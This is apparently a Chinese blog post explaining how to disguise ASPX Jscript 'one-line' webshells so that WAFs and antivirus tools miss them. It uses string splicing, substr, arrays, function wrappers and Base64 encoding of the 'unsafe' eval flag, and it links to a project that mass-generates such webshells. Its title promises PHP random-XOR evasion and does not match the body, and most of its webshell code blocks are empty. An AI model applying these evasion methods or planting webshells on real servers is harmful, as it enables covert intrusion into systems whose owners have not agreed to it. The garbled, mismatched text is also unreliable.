webshell-venom 3.3 :利用随机异或免杀任意php文件

1 前言

自己曾经写过一篇文章:利用随机异或无限免杀某盾

php的webshell免杀方法有很多,但是市面上很少有讲aspx免杀的文章.

因为aspx的权限一般较大,对于渗透过程中还是很重要的, 所以就想着写一篇文章来简单的介绍下aspx的免杀

2 0x01 主要方法

1
2
3
4
字符串拼接
函数
数组
Base64编码

3 0x02 了解aspx一句话

Aspx的一句话一般是使用Jscript语言实现

看看原本的菜刀aspx一句话

1
<%@ Page Language="Jscript"%> <%                                    %>

其实与php的类似 Eval函数将字符串当做代码执行 不同的是在Jscript中为了安全起见必须使用unsafe参数,才可以使其具有对操作系统操作的功能

Request.Item[“pass”] 的pass就是接受的参数 类似于php的$_POST[“pass”]

3.1 Jscript基本用法

1
Function xxx(){}//声明一个函数

3.2 字符串拼接

1
2
Var a =’a’+’b’;//a=’ab’;
Var a= ‘\x61’; //a=’a’;

3.3 数组声明

1
2
Var a=’abc’;
Var b=a(0);//b=’a’;

作为免杀来说一般waf杀的都是unsafe这个参数,所以我们的免杀也将从这个参数下手

4 0x02 字符串拼接

经过测试,一般来说把’unsafe’这个字符串无论是十六进制拼接还是直接大小写拼接均不可行 于是想到可以采用substr函数

1
2
3
4
5
<%@ Page Language="Jscript" Debug=true%>
<%
                                                                                                

%>

5 0x03 数组

感觉大多数waf对数组拼接并不感冒,就可以打乱顺序,利用数组进行拼接

1
2
3
4
<%@ Page Language="Jscript" Debug=true%>
<%
                                                                                             
%>

6 0x04 函数

因为某盾对字符串拼接杀得比较厉害,放在函数里当做返回值即可

1
2
3
4
5
<%@ Page Language="Jscript" Debug=true%>
<%
                                                                                                       

%>

7 0x05 BASE64编码

Php中经常使用base64编码来bypass,那么在aspx中如何实现呢

1
var res=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String(‘eXpkZG1yNg==’);//res=’yzddmr6’;

那么我们对于unsafe这个特征就可以使用base64编码来绕过

1
2
3
4
5
<%@ Page Language="Jscript" Debug=true%>
<%
                                                                                                                                                 

%>

8 0x06 总结

可能是因为aspx的免杀现在还不是很多,所以waf的查杀并不是很严格,不需要太复杂就可以绕过. 对于以上方法还可以连环套用,以达到混淆的效果

自己写了个脚本,利用以上方法来无限生成免杀aspx的webshell

已经放到了自己的项目webshell_venom中

项目地址: https://github.com/caidaox/webshell/tree/main

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值